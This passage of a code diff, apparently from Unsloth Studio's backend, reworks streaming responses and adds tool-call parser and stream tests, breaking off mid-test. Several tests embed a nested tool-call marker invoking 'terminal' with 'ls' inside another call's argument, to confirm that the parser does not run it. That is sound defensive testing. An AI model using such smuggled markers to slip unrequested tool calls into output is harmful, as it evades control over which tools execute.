@@ -7574,7 +7900,15 @@ async def _responses_stream(
         api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
-    return _sse_streaming_response(event_generator())
+    return _SameTaskStreamingResponse(
+        event_generator(),
+        media_type = "text/event-stream",
+        headers = {
+            "Cache-Control": "no-cache",
+            "Connection": "close",
+            "X-Accel-Buffering": "no",
+        },
+    )
 
 
 @router.post("/responses")
@@ -8190,9 +8524,17 @@ async def _anthropic_tool_stream(
         drop_until_tool_end = False
 
         gen = run_gen()
+        # Concurrent disconnect watcher: the loop only polls is_disconnected()
+        # between events, so a client disconnect during a long prefill or
+        # generation step would otherwise hold the decode slot until the next
+        # event or a failed send. The watcher sets cancel_event so the backend
+        # stops promptly.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(request, cancel_event)
+        )
         try:
             while True:
-                if await request.is_disconnected():
+                if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
                 event = await asyncio.to_thread(next, gen, _sentinel)
@@ -8240,6 +8582,8 @@ async def _anthropic_tool_stream(
             if _error_event is not None:
                 yield _error_event
                 return
+        finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
 
         stop_reason = openai_finish_to_anthropic_stop(
             captured_finish_reason, had_tool_calls = ends_on_tool_use
@@ -8276,9 +8620,17 @@ async def _anthropic_plain_stream(
         captured_finish_reason = None
 
         gen = run_gen()
+        # Concurrent disconnect watcher: the loop only polls is_disconnected()
+        # between chunks, so a client disconnect during a long prefill or
+        # generation step would otherwise hold the decode slot until the next
+        # chunk or a failed send. The watcher sets cancel_event so the backend
+        # stops promptly.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(request, cancel_event)
+        )
         try:
             while True:
-                if await request.is_disconnected():
+                if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
                 cumulative = await asyncio.to_thread(next, gen, _sentinel)
@@ -8301,6 +8653,8 @@ async def _anthropic_plain_stream(
             if _error_event is not None:
                 yield _error_event
                 return
+        finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
 
         stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False)
         for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None):
@@ -9192,7 +9546,7 @@ async def _openai_passthrough_stream(
                 except Exception:
                     pass
                 _tracker.__exit__(None, None, None)
-                return StreamingResponse(
+                return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
                     headers = {
@@ -9243,6 +9597,29 @@ async def _openai_passthrough_stream(
                 _await_disconnect_then_close(request, resp, cancel_event)
             )
             monitor_done = False
+            saw_finish_reason = False
+            saw_done = False
+            saw_stream_error = False
+            saw_tool_call_delta = False
+            last_chunk_id = completion_id
+            last_chunk_model = model_name
+            last_chunk_created = int(time.time())
+
+            def _synthetic_finish_line() -> str:
+                finish_reason = "tool_calls" if saw_tool_call_delta else "stop"
+                chunk = ChatCompletionChunk(
+                    id = last_chunk_id,
+                    created = last_chunk_created,
+                    model = last_chunk_model,
+                    choices = [
+                        ChunkChoice(
+                            delta = ChoiceDelta(),
+                            finish_reason = finish_reason,
+                        )
+                    ],
+                )
+                return f"data: {chunk.model_dump_json(exclude_none = True)}"
+
             try:
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
@@ -9256,23 +9633,117 @@ async def _openai_passthrough_stream(
                         continue
                     if not raw_line.startswith("data: "):
                         continue
+                    data_text = raw_line[6:].strip()
+                    if data_text == "[DONE]":
+                        saw_done = True
+                        if (
+                            not saw_finish_reason
+                            and not saw_stream_error
+                            and not cancel_event.is_set()
+                        ):
+                            finish_line = _synthetic_finish_line()
+                            _monitor_openai_sse_line(
+                                monitor_id,
+                                finish_line,
+                                llama_backend.context_length,
+                            )
+                            yield finish_line + "\n\n"
+                            saw_finish_reason = True
+                        _monitor_openai_sse_line(
+                            monitor_id,
+                            raw_line,
+                            llama_backend.context_length,
+                        )
+                        yield raw_line + "\n\n"
+                        monitor_done = True
+                        break
                     # Honor parallel_tool_calls=false (best-effort): drop tool_call
                     # deltas with index>=1 so only the first call streams. Only
                     # lines carrying tool_calls are reparsed; everything else is
                     # relayed byte-for-byte.
                     if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
                         raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
+                        data_text = raw_line[6:].strip()
+                    try:
+                        chunk_data = json.loads(data_text)
+                    except json.JSONDecodeError:
+                        chunk_data = None
+                    if isinstance(chunk_data, dict):
+                        if isinstance(chunk_data.get("id"), str):
+                            last_chunk_id = chunk_data["id"]
+                        if isinstance(chunk_data.get("model"), str):
+                            last_chunk_model = chunk_data["model"]
+                        if isinstance(chunk_data.get("created"), int):
+                            last_chunk_created = chunk_data["created"]
+                        choices = chunk_data.get("choices")
+                        if isinstance(choices, list) and choices:
+                            choice = choices[0]
+                            if isinstance(choice, dict):
+                                if choice.get("finish_reason"):
+                                    saw_finish_reason = True
+                                delta = choice.get("delta")
+                                if isinstance(delta, dict) and delta.get("tool_calls"):
+                                    saw_tool_call_delta = True
+                        # Detect an upstream error chunk independently of API
+                        # monitoring: when monitor_id is None (skip_api_monitor),
+                        # _monitor_openai_sse_line returns before inspecting the
+                        # error, so without this the synthetic-finish guard would
+                        # emit a successful finish_reason after a failed stream.
+                        if _monitor_openai_error_message(chunk_data):
+                            saw_stream_error = True
                     monitor_event = _monitor_openai_sse_line(
                         monitor_id,
                         raw_line,
                         llama_backend.context_length,
                     )
+                    if monitor_event == "error":
+                        saw_stream_error = True
+                    # If a trailing usage-only chunk (include_usage) arrives before
+                    # any finish chunk, emit the synthetic finish first so the order
+                    # stays finish -> usage -> [DONE], matching the other streams.
+                    if (
+                        isinstance(chunk_data, dict)
+                        and chunk_data.get("usage")
+                        and not (
+                            isinstance(chunk_data.get("choices"), list) and chunk_data["choices"]
+                        )
+                        and not saw_finish_reason
+                        and not saw_stream_error
+                        and not cancel_event.is_set()
+                    ):
+                        finish_line = _synthetic_finish_line()
+                        _monitor_openai_sse_line(
+                            monitor_id, finish_line, llama_backend.context_length
+                        )
+                        yield finish_line + "\n\n"
+                        saw_finish_reason = True
                     # Relay verbatim to preserve llama-server's native id,
                     # finish_reason, delta.tool_calls, and usage chunks.
                     yield raw_line + "\n\n"
-                    if monitor_event == "done" or raw_line[6:].strip() == "[DONE]":
+                    if monitor_event == "done":
                         monitor_done = True
                         break
+                if not saw_done and not saw_stream_error and not cancel_event.is_set():
+                    # Synthesize a finish chunk only if one was not already
+                    # emitted (e.g. before a trailing usage-only chunk), but
+                    # always close with [DONE] whenever the upstream omitted it,
+                    # so the stream ends on the [DONE] sentinel either way.
+                    if not saw_finish_reason:
+                        finish_line = _synthetic_finish_line()
+                        _monitor_openai_sse_line(
+                            monitor_id,
+                            finish_line,
+                            llama_backend.context_length,
+                        )
+                        yield finish_line + "\n\n"
+                    done_line = "data: [DONE]"
+                    _monitor_openai_sse_line(
+                        monitor_id,
+                        done_line,
+                        llama_backend.context_length,
+                    )
+                    yield done_line + "\n\n"
+                    monitor_done = True
                 if not monitor_done:
                     api_monitor.finish(
                         monitor_id,
@@ -9308,7 +9779,24 @@ async def _openai_passthrough_stream(
                 )
                 _tracker.__exit__(None, None, None)
 
-        return _sse_streaming_response(_stream())
+        async def _unstarted_cleanup() -> None:
+            # Client disconnected before the body stream started, so _stream()'s
+            # finally never ran. Release the eagerly-opened upstream resp/client
+            # and the cancel-registry entry here; the watchers and line iterator
+            # are created inside _stream(), so there is nothing else to close.
+            await _aclose_stream_resources(resp = resp, client = client)
+            _tracker.__exit__(None, None, None)
+
+        return _SameTaskStreamingResponse(
+            _stream(),
+            media_type = "text/event-stream",
+            headers = {
+                "Cache-Control": "no-cache",
+                "Connection": "close",
+                "X-Accel-Buffering": "no",
+            },
+            unstarted_cleanup = _unstarted_cleanup,
+        )
     except BaseException:
         _tracker.__exit__(None, None, None)
         raise
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
new file mode 100644
index 0000000000..8df8d37a52
--- /dev/null
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -0,0 +1,161 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Edge cases in Gemma-native tool-call parsing.
+
+Covers two failure modes:
+  1. A bare (unquoted) string argument that contains a comma, e.g.
+     ``location:New York, NY`` -- the comma must not be treated as the next
+     key boundary, or the whole call is dropped.
+  2. A tool-call marker that appears INSIDE another call's argument string is
+     data, not a real call, so it must not be promoted to a second tool call.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+
+def _args(call: dict) -> dict:
+    return json.loads(call["function"]["arguments"])
+
+
+def test_bare_string_argument_with_comma_is_kept():
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:get_weather{location:New York, NY,unit:celsius}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _args(calls[0]) == {"location": "New York, NY", "unit": "celsius"}
+
+
+def test_normal_multi_key_arguments_still_split():
+    calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}<tool_call|>')
+    assert len(calls) == 1, calls
+    # Numbers stay numeric, bare strings get quoted, an explicit quoted comma
+    # stays inside its value.
+    assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
+
+
+def test_bare_value_with_timestamps_after_comma_is_kept():
+    # A comma followed by digits-then-colon (a timestamp/ratio) is value text,
+    # not a new key, so the whole query must be preserved as one argument.
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"}
+
+
+def test_marker_inside_json_argument_is_not_a_second_call():
+    # A python call whose `code` argument contains a Gemma marker string. The
+    # marker is data and must not execute as a second `terminal` call.
+    content = (
+        '<tool_call>{"name":"python","arguments":{"code":'
+        '"x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_two_separate_gemma_calls_both_parse():
+    content = "<|tool_call>call:a{x:1}<tool_call|> and <|tool_call>call:b{y:2}<tool_call|>"
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+    assert _args(calls[0]) == {"x": 1}
+    assert _args(calls[1]) == {"y": 2}
+
+
+def test_mixed_format_calls_preserve_document_order():
+    # A Gemma-native call precedes a JSON-format call in the text; tools execute
+    # in returned order, so `create` must come before `read`.
+    content = (
+        "<|tool_call>call:create{path:a}<tool_call|> then "
+        '<tool_call>{"name":"read","arguments":{"path":"a"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["create", "read"], calls
+
+
+def test_json_marker_inside_gemma_argument_is_not_a_second_call():
+    # The reverse of the JSON-outer case: a JSON-style marker inside a Gemma
+    # call's quoted argument is code text, not a second `terminal` call.
+    content = (
+        '<|tool_call>call:python{code:<|"|>'
+        'print(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
+        '<|"|>}<tool_call|>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
+    # An UNQUOTED Gemma value containing a literal marker: the outer object fails
+    # to normalize (the inner braces/marker break the JSON), but the inner marker
+    # is nested in the outer candidate span, so it must not be promoted to a
+    # standalone `terminal` call. The safe outcome is no executed tool call.
+    content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
+    calls = parse_tool_calls_from_text(content)
+    assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_bare_string_array_argument_is_quoted():
+    # Gemma may emit an array of bare strings without per-element quotes; they
+    # must be quoted so the call is not dropped.
+    calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"labels": ["bug", "ui"]}
+
+
+def test_array_keeps_numbers_and_quoted_elements():
+    calls = parse_tool_calls_from_text(
+        '<|tool_call>call:f{nums:[1,2],tags:[<|"|>a,b<|"|>,c]}<tool_call|>'
+    )
+    assert _args(calls[0]) == {"nums": [1, 2], "tags": ["a,b", "c"]}
+
+
+def test_array_of_objects_is_normalised():
+    # Arrays of objects are a common tool-schema shape; their (unquoted) keys and
+    # bare values must be normalised too, not left verbatim, or the call drops.
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"items": [{"path": "a", "mode": "r"}, {"path": "b", "mode": "w"}]}
+
+
+def test_nested_array_elements_are_normalised():
+    calls = parse_tool_calls_from_text("<|tool_call>call:grid{cells:[[a,b],[c,d]]}<tool_call|>")
+    assert _args(calls[0]) == {"cells": [["a", "b"], ["c", "d"]]}
+
+
+def test_gemma_marker_inside_xml_parameter_is_not_a_second_call():
+    # An XML-style <function=...> call whose <parameter=code> value contains a
+    # Gemma marker: the marker is the parameter's data, not a separate terminal
+    # call, so only the python call must be returned.
+    content = (
+        "<tool_call><function=python><parameter=code>"
+        "x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"
+        "</parameter></function></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert "terminal" in _args(calls[0])["code"]
+
+
+def test_json_marker_inside_xml_parameter_is_not_a_second_call():
+    content = (
+        "<tool_call><function=python><parameter=code>"
+        'run(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
+        "</parameter></function></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py
index 5aee6198ba..24866bd03e 100644
--- a/studio/backend/tests/test_llama_route_timeouts.py
+++ b/studio/backend/tests/test_llama_route_timeouts.py
@@ -5,6 +5,7 @@ import asyncio
 import os
 import sys
 import time
+import threading
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -40,6 +41,123 @@ def test_stream_first_item_deadline_after_headers():
     asyncio.run(_run())
 
 
+def test_stream_first_item_deadline_does_not_hop_tasks():
+    async def _run():
+        outer_task = asyncio.current_task()
+        seen_tasks = []
+
+        class _One:
+            def __init__(self):
+                self.done = False
+
+            async def __anext__(self):
+                seen_tasks.append(asyncio.current_task())
+                if self.done:
+                    raise StopAsyncIteration
+                self.done = True
+                return "data: {}"
+
+        out = []
+        async for item in inf_mod._aiter_llama_stream_items(
+            _One(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            out.append(item)
+
+        assert out == ["data: {}"]
+        assert seen_tasks == [outer_task, outer_task]
+
+    asyncio.run(_run())
+
+
+def test_stream_first_item_deadline_uses_compat_timeout_without_task_hop(monkeypatch):
+    monkeypatch.setattr(inf_mod.asyncio, "timeout", None, raising = False)
+
+    async def _run():
+        outer_task = asyncio.current_task()
+        seen_tasks = []
+
+        class _One:
+            def __init__(self):
+                self.done = False
+
+            async def __anext__(self):
+                seen_tasks.append(asyncio.current_task())
+                if self.done:
+                    raise StopAsyncIteration
+                self.done = True
+                return "data: {}"
+
+        out = []
+        async for item in inf_mod._aiter_llama_stream_items(
+            _One(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            out.append(item)
+
+        assert out == ["data: {}"]
+        assert seen_tasks == [outer_task, outer_task]
+
+    asyncio.run(_run())
+
+
+def test_stream_wait_stops_on_known_disconnect_before_read():
+    async def _run():
+        state = SimpleNamespace(disconnect_checks = 0)
+        cancel_event = threading.Event()
+
+        class _Request:
+            async def is_disconnected(self):
+                state.disconnect_checks += 1
+                return True
+
+        class _Unread:
+            async def __anext__(self):
+                raise AssertionError("stream should stop before reading upstream")
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Unread(),
+            cancel_event = cancel_event,
+            request = _Request(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            raise AssertionError("stream should stop after disconnect")
+
+        assert cancel_event.is_set()
+        assert state.disconnect_checks == 1
+
+    asyncio.run(_run())
+
+
+def test_stream_wait_does_not_shorten_upstream_read_for_disconnect_poll():
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        seen_read_timeouts = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _NoItem:
+            async def __anext__(self):
+                seen_read_timeouts.append(response.request.extensions["timeout"]["read"])
+                raise StopAsyncIteration
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _NoItem(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            raise AssertionError("stream should end")
+
+        assert seen_read_timeouts
+        assert seen_read_timeouts[0] > inf_mod._STREAM_DISCONNECT_POLL_TIMEOUT_S
+
+    asyncio.run(_run())
+
+
 def test_preheader_send_cleanup_on_disconnect_and_cancel():
     async def _run(cancel_parent):
         state = SimpleNamespace(disconnected = False, closed = False, cancelled = False)
diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py
index 90b1ade03c..12239e7113 100644
--- a/studio/backend/tests/test_mcp_servers.py
+++ b/studio/backend/tests/test_mcp_servers.py
@@ -423,6 +423,46 @@ def test_tool_healing_strip_handles_hyphenated_function_names():
     assert out == "before  after"
 
 
+def test_tool_healing_strip_handles_gemma_native_tool_call():
+    from core.tool_healing import strip_tool_call_markup
+    out = strip_tool_call_markup(
+        'before <|tool_call>call:mcp__srv__list-issues{repo:"octocat/hello"}<tool_call|> after'
+    )
+    assert out == "before  after"
+
+
+def test_tool_healing_strip_handles_gemma_close_only_marker():
+    from core.tool_healing import strip_tool_call_markup
+    assert strip_tool_call_markup("before <tool_call|> after") == "before  after"
+    assert strip_tool_call_markup("before <tool_call|> after", final = True) == "before  after"
+
+
+def test_tool_healing_parser_handles_gemma_native_windows_path():
+    from core.tool_healing import parse_tool_calls_from_text
+    import json as _json
+
+    calls = parse_tool_calls_from_text(
+        r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+    )
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "ls"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+
+def test_tool_healing_json_parser_preserves_literal_gemma_quote_token():
+    from core.tool_healing import parse_tool_calls_from_text
+    import json as _json
+
+    text = (
+        "<tool_call>"
+        + _json.dumps({"name": "python", "arguments": {"code": "print('<|\"|>')"}})
+        + "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"code": "print('<|\"|>')"}
+
+
 def test_gguf_allow_list_blocks_unadvertised_tool(monkeypatch):
     """A tool call not in the per-request list must be refused by the GGUF
     agentic loop (mirroring the safetensors path)."""
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 2586076321..aaef9e4dcc 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -48,6 +48,7 @@ from routes.inference import (
     _openai_passthrough_stream,
     _openai_stream_usage_chunk,
     _proxy_to_external_provider,
+    _SameTaskStreamingResponse,
     _set_or_prepend_system_message,
     openai_completions,
     openai_embeddings,
@@ -1245,6 +1246,79 @@ class TestGgufVisionToolRouting:
 
         return TestGgufVisionToolRouting._drive(_consume())
 
+    @staticmethod
+    def _sse_payloads(chunks):
+        payloads = []
+        for chunk in chunks:
+            if isinstance(chunk, bytes):
+                chunk = chunk.decode()
+            for line in str(chunk).splitlines():
+                if not line.startswith("data: "):
+                    continue
+                data = line.removeprefix("data: ")
+                if data == "[DONE]":
+                    continue
+                try:
+                    payloads.append(json.loads(data))
+                except json.JSONDecodeError:
+                    pass
+        return payloads
+
+    def _run_gguf_case(
+        self,
+        monkeypatch,
+        *,
+        generate = None,
+        tool_generate = None,
+        payload_kwargs = None,
+        backend_kwargs = None,
+    ):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        backend_data = {
+            "is_loaded": True,
+            "is_vision": False,
+            "supports_tools": tool_generate is not None,
+            "supports_reasoning": True,
+            "reasoning_always_on": True,
+            "_is_audio": False,
+            "model_identifier": "test-gguf",
+            "context_length": 4096,
+            "generate_chat_completion": generate or _plain,
+        }
+        if tool_generate is not None:
+            backend_data["generate_chat_completion_with_tools"] = tool_generate
+        if backend_kwargs:
+            backend_data.update(backend_kwargs)
+        backend = SimpleNamespace(**backend_data)
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+        request_data = {
+            "model": "default",
+            "messages": [{"role": "user", "content": "hi"}],
+        }
+        if payload_kwargs:
+            request_data.update(payload_kwargs)
+        payload = ChatCompletionRequest(**request_data)
+        response = self._drive(
+            openai_chat_completions(payload, request = self._Request(), current_subject = "test")
+        )
+        result = SimpleNamespace(response = response, monitor = monitor, backend = backend)
+        if request_data.get("stream"):
+            result.chunks = self._consume_response(response)
+            result.payloads = self._sse_payloads(result.chunks)
+        else:
+            result.body = json.loads(response.body)
+        return result
+
     def test_image_request_with_enabled_tools_enters_gguf_tool_loop(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1390,6 +1464,152 @@ class TestGgufVisionToolRouting:
         assert "confirm_tool_calls requires stream=true" in entry["error"]
         assert monitor.active_count() == 0
 
+    def test_standard_gguf_stream_splits_reasoning_content(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<thi"
+            yield "<think>plan"
+            yield "<think>plan</think>vis"
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        assert all("<think>" not in d.get("content", "") for d in deltas)
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True},
+            backend_kwargs = {"reasoning_always_on": False},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_reasoning_capable_gguf_stream_sanitizes_think_tags_when_disabled(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>leaked</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            generate = _generate,
+            payload_kwargs = {"stream": True, "enable_thinking": False},
+            backend_kwargs = {"reasoning_always_on": False},
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "leaked"
+        assert "".join(d.get("content", "") for d in deltas) == "visible"
+        assert all("<think>" not in d.get("content", "") for d in deltas)
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
+    def test_gguf_tool_stream_splits_reasoning_and_strips_gemma_tool_marker(self, monkeypatch):
+        def _tools(**_kwargs):
+            yield {
+                "type": "content",
+                "text": '<think>plan</think>visible <|tool_call>call:terminal{command:"ls"}<tool_call|>',
+            }
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            tool_generate = _tools,
+            payload_kwargs = {
+                "stream": True,
+                "enable_tools": True,
+                "enabled_tools": ["terminal"],
+                "messages": [{"role": "user", "content": "list files"}],
+            },
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
+        combined_content = "".join(d.get("content", "") for d in deltas)
+        assert combined_content == "visible "
+        assert "<|tool_call>" not in combined_content
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible "
+
+    def test_gguf_tool_stream_flushes_held_text_before_status_reset(self, monkeypatch):
+        def _tools(**_kwargs):
+            yield {"type": "content", "text": "answer <"}
+            yield {"type": "status", "text": ""}
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(
+            monkeypatch,
+            tool_generate = _tools,
+            payload_kwargs = {
+                "stream": True,
+                "enable_tools": True,
+                "enabled_tools": ["terminal"],
+                "messages": [{"role": "user", "content": "say literal"}],
+            },
+        )
+        deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")]
+
+        combined_content = "".join(d.get("content", "") for d in deltas)
+        assert combined_content == "answer <"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "answer <"
+
+    def test_non_streaming_gguf_splits_reasoning_content(self, monkeypatch):
+        def _generate(**_kwargs):
+            yield "<think>plan</think>visible"
+            yield {
+                "type": "metadata",
+                "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5},
+                "finish_reason": "stop",
+            }
+
+        result = self._run_gguf_case(monkeypatch, generate = _generate)
+        body = result.body
+        message = body["choices"][0]["message"]
+
+        assert message["content"] == "visible"
+        assert message["reasoning_content"] == "plan"
+        [entry] = result.monitor.snapshot()
+        assert entry["reply"] == "visible"
+
     def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1552,6 +1772,61 @@ class TestApiMonitorProviderAndCompletionStreams:
         async def is_disconnected(self):
             return False
 
+    async def _run_passthrough_stream(self, monkeypatch, lines):
+        import routes.inference as inf_mod
+
+        class Request:
+            async def is_disconnected(self):
+                return False
+
+        async def fake_send(*_args, **_kwargs):
+            return httpx.Response(200, content = b"")
+
+        async def fake_items(*_args, **_kwargs):
+            for line in lines:
+                yield line
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+        monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+        monitor_id = monitor.start(
+            endpoint = "/v1/chat/completions",
+            method = "POST",
+            model = "gguf",
+            prompt = "hi",
+        )
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [ChatMessage(role = "user", content = "hi")],
+            stream = True,
+            tools = [
+                {
+                    "type": "function",
+                    "function": {
+                        "name": "lookup",
+                        "parameters": {"type": "object", "properties": {}},
+                    },
+                }
+            ],
+        )
+
+        response = await _openai_passthrough_stream(
+            Request(),
+            threading.Event(),
+            SimpleNamespace(
+                base_url = "http://llama.test",
+                context_length = 4096,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            ),
+            payload,
+            "gguf",
+            "chatcmpl-test",
+            monitor_id = monitor_id,
+        )
+        chunks = [chunk async for chunk in response.body_iterator]
+        return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor)
+
     def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -1980,6 +2255,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 "chatcmpl-test",
                 monitor_id = monitor_id,
             )
+            assert isinstance(response, _SameTaskStreamingResponse)
             iterator = response.body_iterator
             first = await anext(iterator)
             assert "hello" in first
@@ -1997,6 +2273,88 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_synthesizes_missing_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    (
+                        'data: {"id":"upstream","created":123,"model":"gguf",'
